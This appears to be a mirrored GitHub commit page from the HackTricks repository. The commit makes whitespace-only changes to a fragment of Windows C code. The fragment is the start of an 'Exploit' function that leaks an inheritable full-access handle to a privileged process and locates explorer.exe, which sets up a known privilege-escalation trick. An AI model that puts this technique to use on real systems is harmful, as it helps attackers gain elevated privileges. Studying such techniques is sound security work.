mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
GitBook: [#3053] No subject
This commit is contained in:
parent
9027707da9
commit
3a14232f69
1 changed files with 5 additions and 5 deletions
|
@ -55,15 +55,15 @@ int FindTarget(const char *procname) {
|
|||
|
||||
int Exploit(void) {
|
||||
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
int pid = 0;
|
||||
HANDLE hUserToken;
|
||||
HANDLE hUserToken;
|
||||
HANDLE hUserProc;
|
||||
HANDLE hProc;
|
||||
HANDLE hProc;
|
||||
|
||||
// open a handle to itself (privileged process) - this gets leaked!
|
||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
||||
|
||||
// get PID of user low privileged process
|
||||
if ( pid = FindTarget("explorer.exe") )
|
||||
|
|
Loading…
Reference in a new issue